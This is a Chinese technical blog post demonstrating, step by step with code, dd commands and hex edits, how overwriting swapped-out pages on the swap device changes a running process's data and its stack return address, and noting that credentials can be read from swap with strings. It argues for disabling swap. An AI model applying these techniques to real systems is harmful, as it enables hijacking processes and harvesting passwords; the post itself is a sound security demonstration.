连续两夜的大雨,舒服,下班回到家继续杂耍。
昨晚杂耍了一把/proc/$pid/mem,写了一个关于进程代码注入的文章:
https://blog.csdn.net/dog250/article/details/108618568
这个方法无非还是利用了内核导出到procfs里的一个mem文件,而且幸亏它可写!这并不是一个通用的方法,至于说ptrace,stap这种,则更多的体现为一种工具,而非手艺。
swap空间够通用了吧,哪个系统都有,它是现代操作系统的基础设施的重要组成部分,本文就拿swap空间开涮。
上上周末,我strings了一下电脑一个虚拟机的swap空间,吓人,什么都有,我的各种账户密码,登录过的网站很多都能在swap空间里被找出来,于是赶紧关掉了swap。
swap空间就是一个漏桶!一个公共晾衣架。
所以,我们可以借助swap空间玩玩进程hack。
对了,别想着加密swap空间这种见招拆招的事,swap本来就慢,你再来个加密解密,慢上加慢,为了得到一个平坦的地址空间,这么做毫无意义,加内存条就是了。
然而,加内存条不是还可以dump整个内存的吗?比如/dev/mem,/proc/$pid/mem这种…即便如此,也比swap要安全。hack swap简直太容易了!
首先,我想通过覆盖swap空间的特定位置来达到修改进程内私有数据的目的。
先看代码:
#include
#include
#include
#define MADV_SOFT_OFFLINE 101
int main(int argc, const char **argv)
{
void *map[65536];
char buf[256];
int i = 0, which;
// 循环分配内存并写内存,目的是触发swap to disk操作。
while (i < 65535) {
// 65535也许有点小了,为了实验的目的,我特意将虚拟机内存缩小为64M,以更容易地触发内存swap。
map[i] = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0);
if (map[i] == NULL)
break;
// 眼睁睁看着是这些字符串复制进了buffer
snprintf(buf, 256, "E%d:ZheJiang Wenzhou skinshoe wet,down rain enter water not can fat", i);
strcpy(map[i], buf);
i ++;
}
printf("map:%d\n", i);
scanf("%d", &which);
printf("map after:%s\n", map[which]);
return 0;
}
下面的操作步骤一气呵成:
请看:
# 在swap空间查找特征字符串的位置偏移
# 注意,我用1234做索引,目的后面我会导出进程map数组的第1234个元素,以查验它有没有被修改。
[root@localhost test]# strings -a -t x /dev/dm-1 |grep E1234:ZheJiang
391f000 E1234:ZheJiang Wenzhou skinshoe wet,down rain enter water not can fat
[root@localhost test]#
# 展示一下替换字符串以及其大小
[root@localhost test]# ll ./new
-rw-r--r-- 1 root root 70 9月 17 17:32 ./new
[root@localhost test]# cat new
DDDDD:Zhejiang Wenzhou pixie shi,xia yu jin shui bu hui pang
[root@localhost test]#
# 上述偏移 0x391f000 的十进制 59895808,用替换自负串覆盖swap空间的特征字符串
[root@localhost test]# dd if=./new of=/dev/dm-1 obs=1 bs=1 seek=59895808 count=70
记录了70+0 的读入
记录了70+0 的写出
70字节(70 B)已复制,0.00130832 秒,53.5 kB/秒
这里请注意,本文只是用特征字符串作为例子,实际实践中,可以用任何二进制去匹配,这里用字符串,主要是因为strings命令比较方便,也可以用正则,而如果是任意二进制match,那就需要别的二进制模式匹配的手艺了。
接下来,我在mmap程序运行的终端输入1234作为索引,看看情况:
1234 # 此为输入,根据特征字符串E1234:ZheJiang,需要输入1234为索引
map after:DDDDD:Zhejiang Wenzhou pixie shi,xia yu jin shui bu hui pang
[root@localhost test]#
成功替换!这次没有使用stap,没有写/proc/$pid/mem,仅仅是写了一下swap而已。
既然可以替换数据,那么stack空间作为数据的一部分,它也是可以被swap out的,如果可以通过写swap来操作stack,那岂不是可以完成类似ROP的操作咯,任意替换返回地址。
接下来,让我们试一下。
再看一个代码:
#include
#include
void func()
{
char v[] = "555555555555555555555555";
getchar();
printf("after getchar\n");
}
int main(int argc, char **argv)
{
func();
printf("end\n");
return 0;
}
很简单,让我们运行它一次:
[root@localhost test]# ./a.out
A
after getchar
end
[root@localhost test]#
输入一个字符,打印两行提示,仅此而已。
我的目标是通过操作swap空间,让该程序不再打印 “after getchar” 这句话,绕过printf,直接从fun返回,可以做到吗?当然可以!
首先运行它,但不要输入:
[root@localhost test]# ./a.out
... # 等待输入
通过objdump看一下getchar原始的返回地址位置:
400593: e8 b8 fe ff ff callq 400450 <getchar@plt>
400598: bf 60 06 40 00 mov $0x400660,%edi
40059d: e8 8e fe ff ff callq 400430 <puts@plt>
4005a2: c9 leaveq
嗯,就是0x400598了。我要通过修改swap空间,然后将返回地址修改为0x4005a2,从而跳过printf,也就是objdump中的puts。
下一步就是找到swap空间中a.out程序的stack的位置。
想通过操作swap空间来修改进程的stack,就要想办法让其stack被换出,要想让这个o.out的stack被换出,我使用本文最开始的那个mmap进程,使劲儿分配内存,那么等待输入的非活跃进程a.out的stack内存当然就要被换出咯。
确认之:
[root@localhost test]# ps -e|grep a.out
3230 pts/2 00:00:01 a.out
[root@localhost test]# cat /proc/3230/smaps |grep -A15 stack|grep Swap
Swap: 16 kB
接下来查找特征字符串"555555555555555555555555",企图在其附近找到getchar的返回地址0x400598:
[root@localhost test]# strings -a -t x /dev/dm-1 |grep 555555555555555555555555
2e5e09a 555555555555555555555555 # 2e5e09a向下附近确定为48619550,也可以是附近别的值。
[root@localhost test]# dd of=./stack if=/dev/dm-1 obs=1 bs=1 skip=48619550 count=4096
通过"vi -b ./stack"的":%!xxd"来编辑二进制的stack文件,找到了下面的位置:
...
00000050: 647f 0000 0000 0000 0000 0000 9805 4000 d.............@.
00000060: 0000 0000 3535 3535 3535 3535 3535 3535 ....555555555555
00000070: 3535 3535 3535 3535 3535 3535 0000 0000 555555555555....
...
将 “9805 4000” 改成 “a205 4000” 即可:
00000050: 647f 0000 0000 0000 0000 0000 a205 4000 d.............@.
用"%!xxd -r"后保存,然后再dd回去:
[root@localhost test]# dd if=./stack of=/dev/dm-1 obs=1 bs=1 seek=48619550 count=4096
在运行a.out的终端敲入字符"A":
[root@localhost test]# ./a.out
A
end
[root@localhost test]#
成功绕过了printf!
想完成这种攻击其实很简单,只需要触发系统将内存交换到交换空间即可,你要做的就是分配内存,然后让系统将被攻击程序的内存挤到 公共可见的交换空间 里,然后…
不得不说,如果一个进程的stack被换出了,那么你只要能找到这个stack在swap空间的位置,你就可以在stack上堆砌任意数据了,离线构造一个满足ReturnToLibc的ROP也不是什么难事,主要是手速,一定要快!
怎么说呢?现代操作系统的swap空间到底还有没有必要?
现代操作系统作为基于虚拟存储的操作系统,在原理上屏蔽内存介质的差异,目的是为进程提供一个平坦的地址空间,这没有任何问题。然而在实践中,我认为如今这个机制已经不需要了。swap更多的价值是作用于小内存系统的,而当代系统内存动辄几十G,如果使能swap,安全无法保证不说,频繁的换入换出还会导致进程运行的时延抖动,毫无必要了。
关掉swap吧。
浙江温州皮鞋湿,下雨进水不会胖。